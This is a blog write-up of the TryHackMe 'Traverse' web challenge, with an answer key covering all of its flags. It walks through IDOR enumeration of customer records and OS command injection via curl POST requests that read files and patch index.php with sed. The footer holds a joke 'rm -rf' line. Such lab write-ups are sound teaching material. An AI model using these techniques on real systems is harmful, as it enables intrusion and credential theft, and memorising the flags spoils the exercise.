Traverse — TryHackMe CTF Writeup

· prosetesting's blog

Web exploitation challenge covering directory listing, JS deobfuscation, IDOR, command injection, and path traversal via a hidden file manager.

Table of Contents

Traverse — TryHackMe CTF Writeup #

Platform: TryHackMe
Category: Web
Difficulty: Easy/Medium
Date: 2026-03-22
Author: t0nt0n
Reading time: ~8 min


Overview #

Traverse is a web exploitation challenge built around a tourism website. The attack chain goes from directory listing and JS deobfuscation, through IDOR on an API endpoint to grab admin credentials, all the way to OS command injection on the admin panel and restoring a defaced page via a hidden file manager.


Reconnaissance #

Initial visit to http://<TARGET>/ reveals a defaced page showing "FINALLY HACKED!!!". Viewing the HTML source exposes two commented-out paths:

1<!--  <li><a href="/img">Logs</a></li>  Please keep all images in this folder -->
2<!--  <li><a href="./logs">Logs</a></li>  DevOps team to check and remove it later on -->

Directory listing — /logs/ #

The /logs/ directory has listing enabled, exposing email_dump.txt.

email_dump.txt contents
From: Bob
To: Mark (software team lead)

The API directory is named after the first phase of the SSDLC.
This page is password protected and can only be opened through the key. THM{100100111}

Key findings:

JavaScript deobfuscation — custom.min.js #

The JS file uses hexadecimal encoding. Decoding it reveals:

1var n="DIRECTORY"; var e="LISTING"; var o="IS THE"; var i="ONLY WAY";
2// ...
3console.log("Flag:" + n + " " + e + " " + o + " " + i);

Running it in the browser console outputs the first flag.

IDOR — /api/?customer_id= #

The API endpoint is vulnerable to IDOR. Iterating the customer_id parameter:

1curl http://<TARGET>/api/?customer_id=5   # → john@traverse.com
2curl http://<TARGET>/api/?customer_id=3   # → admin user
API response for customer_id=3 (admin credentials)
1{
2  "id": "3",
3  "name": "admin",
4  "email": "realadmin@traverse.com",
5  "password": "admin_key!!!",
6  "loginURL": "/realadmin",
7  "isadmin": "1",
8  "role": "admin"
9}

Exploitation #

Admin panel — /realadmin #

Logged in at /realadmin with realadmin@traverse.com / admin_key!!!.

The admin panel at /realadmin/main.php exposes a command execution form (dropdown with whoami / pwd). The HTML source also contains a commented-out free-text input:

1<!--<input type="text" name="cmd" ...>-->

OS command injection via commands parameter #

The commands POST parameter is injectable with semicolons. Using the active session cookie:

1curl -X POST http://<TARGET>/realadmin/main.php \
2  --cookie "PHPSESSID=<SESSION>" \
3  -d "commands=ls"

Output reveals the attacker's files:

index.php
main.php
renamed_file_manager.php
thm_shell.php

Reading the file manager source #

1curl -X POST http://<TARGET>/realadmin/main.php \
2  --cookie "PHPSESSID=<SESSION>" \
3  -d "commands=cat renamed_file_manager.php" | grep "auth_users" -A3
Credentials found in renamed_file_manager.php
1$auth_users = array(
2    'admin' => '$2y$10$7I5BYtzKiWD7Gqip7ZoGvuN.nRb0EJAqJh8CZgRcHkNXZSQgTpFPu', //admin@123
3    'user'  => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO'  //12345
4);

File manager password for admin: admin@123 (visible in source comment).

Restoring the defaced page #

Reading /var/www/html/index.php via command injection:

1curl -X POST http://<TARGET>/realadmin/main.php \
2  --cookie "PHPSESSID=<SESSION>" \
3  -d "commands=cat ../index.php"

The PHP logic is:

1$message = "FINALLY HACKED";
2if($message != "FINALLY HACKED"){
3    echo 'SUCCESSFULLY RESTORED WEBSITE FLAG: THM{WEBSITE_RESTORED}';
4}

Patching the file directly via sed (targeting only the variable assignment):

1curl -X POST http://<TARGET>/realadmin/main.php \
2  --cookie "PHPSESSID=<SESSION>" \
3  -d 'commands=sed -i "s/\$message = \"FINALLY HACKED\"/\$message = \"\"/" ../index.php'

Visiting http://<TARGET>/ now renders the restored flag.


Answers #

Q1 — Encoding type used to obfuscate JS: Hexadecimal
Q2 — Flag after deobfuscating:

Reveal Flag

DIRECTORY LISTING IS THE ONLY WAY

Q3 — Name of the email dump file: email_dump.txt
Q4 — Directory Bob created: planning
Q5 — Key for Bob's directory:

Reveal Flag

THM{100100111}

Q6 — Email address for ID 5: john@traverse.com
Q7 — ID of the admin user: 3
Q8 — Admin login endpoint: /realadmin
Q9 — Web shell name: thm_shell.php
Q10 — Renamed file manager: renamed_file_manager.php
Q11 — Flag after restoring website:

Reveal Flag

THM{WEBSITE_RESTORED}


Tools Used #


What Didn't Work #


Lessons Learned #

last updated:
⬛⚪⬛
⬛⬛⚪  ☠ user
⚪⚪⚪  rm -rf /ignorance && echo 42 > /dev/brain